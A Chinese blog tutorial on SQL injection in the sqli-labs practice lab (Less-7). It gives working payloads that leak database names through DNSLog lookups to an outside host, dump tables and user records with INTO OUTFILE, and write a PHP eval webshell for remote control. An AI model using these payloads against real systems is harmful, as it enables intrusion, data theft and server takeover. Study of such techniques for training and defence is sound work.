1.22.SP 奇技淫巧:SQL注入之数据外带

拓展一:DNSLOG 注入 [1]

在很多情况下,特别是登录框,你绞尽脑汁试图传入一些参数让系统返回报错内容供你分析,但很可惜,页面看起来永远也不可能输出错误信息给你了,那现在怎么办?

有一种神奇的东西叫做 DNSLog平台,你可以在上面申请一个子域名,它可以向DNS询问谁访问过它的这个子域名。

访问:eye.sh,并申请一个子域名,例如1b9va5vk.eyes.sh

接下来打开你的cmd ,输入ping nihao.1b9va5vk.eyes.sh,虽然显示拒绝访问,但是实际上你已经向DNS提出了解析申请,所以你现在可以在网站上看到你访问的记录。

这显然是一个带出数据的好方法,我们只要传入参数,让数据库把我们想要的信息拼接在域名前面并访问,我们就可以在DNSLog上看到记录了。

示例(查看当前数据库名):

1
?id=1' and (select load_file(concat('\\\\',(select database()),'.域名\\a'))) --+

或者(推荐)

1
sqli_str.php?name=abc' and if((select load_file(concat('\\\\',(database()),'.域名\\xxx'))),1,0) --+&submit=submit

示例(查看当前表名):

1
sqli_str.php?name=abc' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=0x70696b61636875 limit 0,1),'.域名\\xx1'))),1,0) --+&submit=submit

打开dnslog.py并使用Ctrl+S保存文件为php根据您的实际情况适当修改配置作为虚拟靶场。

传入上面的参数,查看DNSLog平台,发现记录的域名前确实是当前数据表。

拓展二:[2]

分析数字型/字符型(单/双引号)注入: 一顿操作发现是((''))闭合

接下来就是注入了,我们从本关的标题了解到: dump into outfile,意思是本关我们利用文件导入的方式进行注入。(在补充下载源码中我们发现,print_f(mysql_error()) 被注释掉了说明我们不能基于报错来进行注入,但我们可以使用布尔盲注,直接套Less-5的表达式就能得出我们想要的信息,但这不是本关的意图。)

那么我们使用 导出文件开始注入吧:

第一种思路:

先导出文件

导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库、网站的路径,但在Less-7下我们无法获取到网站路径,因为它报错不在返回报错的数据库信息,那么怎么办?很简单,在Less 1-6关中是返回报错信息的,那么我们随便挑一关进行报错注入,来获取我们想要的信息,这里以Lese-1为例

获取网站的绝对路径:(@@datadir获取数据库存储数据路径 ,@@basedir是MySQL获取安装路径)

?id=-1' union select 1,2,@@datadir --+

@@datadir返回的是数据库存储数据的路径,而我们知道网站路径是在WWW目录下,那么结合@@datadir我们可以推断出网站的绝对路径为 C:\phpStudy\www\

(PS:实际上我们要获得一个网站的绝对路径是很困难的)

读写权限测试:

id=1')) and (select count(*) from mysql.user)>0 --+ 如果返回正常则有读取权限

返回正常,说明具有文件读取权限

提示:

MySQL是通过权限表来控制用户对数据库访问的,权限表存放在mysql数据库中,主要的权限表有以下几个:user,db,host,table_priv,columns_priv和procs_priv

利用into outfile 进行演示:

1
?id=1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" --+

虽然显示 sql 报错了,但是没有关系,我们可以在浏览器或后台中看到 test.txt 文件已经生成了


1
?id=-1')) union select 1,2,3 into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.txt" --+

(这里用-1还是1,实际上是没多大区别的,因为union是联合查询。)

注意:

C:\\phpStudy\\WWW\\sqli\\Less-7\\是当前关卡的路径,当然如果想直接放在WWW目录下也是一样的:

提示:

反斜杠\是Windows系统文件目录结构使用的分隔符,如:D:\我的文档。只有 windows 支持反斜杠路径符 \ ,而所有系统支持 /

但是我们还应该知道 \ 也是转义字符,在url中他会当成转义字符处理,所以我们用 \ 对反斜杠进行转义,那么结果就变成了一个反斜杠。

4.导入到文件

我们可以直接将一句话木马导入进去(注意:$_POST是php的内置变量,而且php还区分大小写的,所以这里一定要写正确)

1
id=1')) union select 1,2,'<?php @eval($_POST["shell"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" --+

接下来用菜刀等 webshell 管理工具连接即可.

第二种思路:

注意:

对文件进行导入导出首先得要有足够的权限,
但是mysql默认不能导入和导出文件,这与secure_file_priv的值有关(默认为null)
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
1、当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
2、当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
3、当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
用以下命令查看secure_file_priv的值

show variables like '%secure%';

如果是null,想得到导入导出权限,可以在my.ini文件[mysqld]的后面加上secure_file_priv=''(两个英文单引号),然后重启phpstudy即可

还要注意的是:
1、outfire 后面的路径为绝对路径且存在
2、要有足够的权限
3、注入的内容也可以是字符串,句子
4、要想注入新内容,需要新的文件名

这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传test.php,下次再上传test.php,就是无效命令了,也就是新的test.php中的内容并不会覆盖之前的test.php

获取字段数:

?id=1')) order by 3 --+

最大为3时不报错

导出数据库名

1
id=-1')) union select 1,user(),database() into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\aaa.txt" --+

让id=-1是为了让后面的报错位完全覆盖前面的查询数据,我们要的是联合查询union后面查询的数据。

接着访问生成的txt文件

导出表名

1
?id=-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\bbb.txt" --+

(注意:这里文件名换了。要想注入新内容,需要新的文件名,接下来相同)

导出字段名

1
?id=-1')) union select 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ccc.txt" --+

导出数据

1
?id=-1')) union select * from users into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\ddd.txt" --+

使用菜刀

导入一句话木马:

1
?id=1')) union select 1,2,'<?php @eval($_POST["mima"])?>' into outfile "C:\\phpStudy\\WWW\\sqli\\Less-7\\test.php" --+

接下来的步骤与前面的一样,不再重复了。

参考文献:

[1] 途中风雨. SQL注入(7)之DNSLOG注入 [EB/OL]. 2025-03-13. https://blog.csdn.net/2401_88816569/article/details/146240009.[2026-01-22]

[2] 小哈小哈喽. Sqli-labs之Less-7 [EB/OL]. 2020-06-04. https://blog.csdn.net/m0_46315342/article/details/106557552.[2026-01-22]

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS